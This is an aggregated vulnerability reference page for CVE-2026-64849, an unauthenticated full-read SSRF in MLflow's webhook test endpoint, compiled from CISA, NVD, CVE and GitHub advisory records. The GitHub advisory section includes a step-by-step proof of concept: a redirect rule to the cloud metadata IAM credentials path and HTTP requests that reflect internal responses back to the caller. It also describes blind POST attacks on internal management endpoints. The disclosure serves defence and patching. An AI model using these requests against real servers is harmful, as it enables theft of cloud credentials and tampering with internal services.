CVE-2026-64849: MLflow Server-Side Request Forgery Vulnerability
Reference page built from the source records below, each shown as its source publishes it. Dataset version ref-e54e844e6d1a, updated 2026-11-02T23:39:54.475Z.
CISA Known Exploited Vulnerabilities
- Name
- MLflow Server-Side Request Forgery Vulnerability
- Vendor
- MLflow
- Product
- MLflow
- Added to the catalog
- 2026-08-19
- Due date for US federal agencies
- 2026-09-02
- Weaknesses
- CWE-918
- Catalog version
- 2026.10.30
MLflow contains a server-side request forgery vulnerability that can allow attackers to reach internal or cloud metadata services and receive response_status and response_body.
Required action (CISA)
Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Ransomware use: CISA does not mark known use of this vulnerability in ransomware campaigns.
Links in CISA's notes
- https://github.com/mlflow/mlflow/pull/24258
- https://github.com/mlflow/mlflow/issues/24179
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-64849
Read on 2026-11-02T23:39:54.475Z under licence cisa-kev-cc0@b0067899 from https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
NVD analysis
- Status
- Analyzed
- Published
- 2026-08-17T22:17:23.580
- Last modified
- 2026-10-26T13:10:00.140
- Weaknesses
- CWE-918
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.
| Metric | Score | Severity | Vector | Scored by |
|---|---|---|---|---|
| CVSS 3.1 | 9.3 | CRITICAL | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N | [email protected] (Secondary) |
References
- https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939 (Patch)
- https://github.com/mlflow/mlflow/issues/24179 (Exploit, Issue Tracking, Mitigation)
- https://github.com/mlflow/mlflow/pull/24258 (Issue Tracking, Patch)
- https://github.com/mlflow/mlflow/releases/tag/v3.15.0 (Release Notes)
- https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j (Exploit, Vendor Advisory)
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-64849 (US Government Resource)
This product uses the NVD API but is not endorsed or certified by the NVD.
Read on 2026-11-02T23:42:31.494Z under licence nvd-api-terms-of-use@ff2a5288 from https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-64849
CVE record
- Title (CNA)
- MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)
- Assigner
- GitHub_M
- State
- PUBLISHED
- Published
- 2026-08-17T21:16:10.612Z
- Updated
- 2026-10-02T18:22:19.974Z
- Problem types
- CWE-918: Server-Side Request Forgery (SSRF)
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.
References
- https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j
- https://github.com/mlflow/mlflow/issues/24179
- https://github.com/mlflow/mlflow/pull/24258
- https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939
- https://github.com/mlflow/mlflow/releases/tag/v3.15.0
Read on 2026-11-03T02:20:50.133Z under licence cve-terms-of-use@81bfa2f3 from https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/64xxx/CVE-2026-64849.json
GitHub Advisory Database
GHSA-7gwp-5pfp-969j: MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)
- Severity (GitHub)
- critical
- CVSS
- 9.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
- Weaknesses
- CWE-918
- Published
- 2026-08-17T21:58:51Z
- Updated
- 2026-10-02T18:21:52Z
- pip mlflow: affected >= 3.3.0, < 3.15.0, first patched 3.15.0
### Summary
The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.
### Details
Three facts combine:
1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.
2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:
```python
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
```
The resolved IP is never carried into the connection.
3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
```python
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
```
test_webhook returns response_status and response_body to the caller.
Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.
DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
### PoC
All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert):
nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />
Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"response_status":200,
"response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />
Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting
to a local secret service, Step 2 returned:
"response_body":"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\nrole=admin\n"
Since I don't have a cloud deployment, I placed "my secret data" in the same location.
<img width="730" height="208" alt="image" src="https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c" />
Notes:
- Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase
maps to ENTITY_UNSPECIFIED and 500s.
- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.
- Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed.
- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.
### Impact
An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).
### Fix
Fixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.
### Redirect variants
The same missing re-validation enables two distinct primitives depending on the redirect status code:
- **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).
- **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`).
Neither requires authentication on a default OSS server.
Then add a fix reference near the top or in a "Remediation" note:
Follow-up hardening (2026-09): four IPv6-transition bypasses of this fix were independently reported and fixed in https://github.com/mlflow/mlflow/pull/25568, released in MLflow 3.16.0. Thanks to DhiyaneshGeek and neo-ai-engineer (GHSA-7646-8p3r-42ch), kta1kri (GHSA-m56c-jhmp-2mx2), tonghuaroot (GHSA-j9pw-7jr2-x46w), and eeegoloauq (GHSA-3vv4-6hm9-pf24) for reporting. The original is_global classifier did not decode IPv6 addresses embedding an IPv4 address, so 64:ff9b::<ip> (NAT64) and ::ffff:100.64.0.0/10 (IPv4-mapped CGNAT) could pass the guard. The SSRF guard now normalizes IPv4-mapped, 6to4, and NAT64 addresses before classification. Deployments on IPv6/NAT64 networks should upgrade to MLflow 3.16.0 or later.
Read on 2026-11-02T23:43:25.442Z under licence ghsa-cc-by-4.0@9e5f1b3c from https://api.github.com/advisories/GHSA-7gwp-5pfp-969j
Also known as / affected packages
GHSA-7gwp-5pfp-969j
Also known as: CVE-2026-64849. OSV.dev record, GitHub advisory.
- PyPI mlflow: introduced 3.3.0, fixed 3.15.0
Read on 2026-11-03T02:54:56.314Z under licence ghsa-cc-by-4.0@9e5f1b3c from https://api.osv.dev/v1/vulns/GHSA-7gwp-5pfp-969j
Defensive techniques (MITRE D3FEND)
D3FEND maps these defensive techniques to the weakness (CWE) that NVD lists for this CVE, through the digital artifacts the weakness affects. D3FEND does not say they stop this vulnerability.
CWE-918: Server-Side Request Forgery (SSRF)
- Isolate: Application-based Process Isolation (acts on Subroutine)
- Restore: Restore Software (acts on Software)
- Model: Asset Vulnerability Enumeration (acts on Software)
- Harden: Trusted Library (acts on Subroutine)
- Harden: Domain Logic Validation (acts on Subroutine)
- Harden: Variable Initialization (acts on Subroutine)
- Harden: Credential Scrubbing (acts on Subroutine)
- Harden: Software Update (acts on Software)
- Model: Software Inventory (acts on Software)
D3FEND ontology version 1.6.0.
Read on 2026-11-03T00:03:22.605Z under licence d3fend-terms-of-use@f98cbc7e from https://d3fend.mitre.org/api/weakness/cwe/CWE-918.json
MITRE D3FEND™ knowledge graph. © 2025 The MITRE Corporation.
"The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use D3FEND for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy." Terms: https://d3fend.mitre.org/tou/
Sources and licences
CISA
Source: CISA Catalog of Known Exploited Vulnerabilities, version 2026.10.30, CC0 1.0. Use of this data does not imply endorsement by CISA or DHS.
National Vulnerability Database (NIST)
This product uses the NVD API but is not endorsed or certified by the NVD.
NVD API Terms of Use (NIST publications in the public domain, 17 U.S.C. 105)
CVE Program, The MITRE Corporation
Copyright © 1999-2026, The MITRE Corporation. CVE is a trademark and the CVE logo is a registered trademark of The MITRE Corporation. CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE™). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy.
GitHub Advisory Database
Source: GitHub Advisory Database, https://github.com/advisories/GHSA-7gwp-5pfp-969j, licensed under CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/). Changes: fields selected and reformatted by ransomware-tracker.com.
GitHub Advisory Database via OSV.dev
GHSA-7gwp-5pfp-969j: GitHub Advisory Database, https://github.com/advisories/GHSA-7gwp-5pfp-969j. Licensed CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/), provided as is, without warranties. Retrieved via OSV.dev (https://osv.dev/vulnerability/GHSA-7gwp-5pfp-969j), which enriches records; fields selected and reformatted by ransomware-tracker.com.
MITRE D3FEND
MITRE D3FEND™ knowledge graph. © 2025 The MITRE Corporation.
"The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use D3FEND for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy." Terms: https://d3fend.mitre.org/tou/MITRE D3FEND Terms of Use (site + knowledge graph); source repo MIT
Cite this page
Dragons Eye Ransomware Tracker, "CVE-2026-64849: MLflow Server-Side Request Forgery Vulnerability",
entity page, dataset version ref-e54e844e6d1a, updated 2026-11-02T23:39:54.475Z,
https://ransomware-tracker.com/cve/CVE-2026-64849 (accessed 2026-11-03).
Underlying source: CISA Catalog of Known Exploited Vulnerabilities, version 2026.10.30.
Underlying source: National Vulnerability Database (NIST), CVE API 2.0, record last modified 2026-10-26T13:10:00.140.
Underlying source: CVE List (CVE Program, The MITRE Corporation), record updated 2026-10-02T18:22:19.974Z.
Underlying source: GitHub Advisory Database, GHSA-7gwp-5pfp-969j, updated 2026-10-02T18:21:52Z.
Underlying source: GitHub Advisory Database, GHSA-7gwp-5pfp-969j, via OSV.dev, modified 2026-10-02T18:30:39.856988982Z.
Underlying source: MITRE D3FEND, ontology version 1.6.0.
Pages change. The dataset version identifies the data, but no archive of old versions is kept, so this citation cannot be replayed later.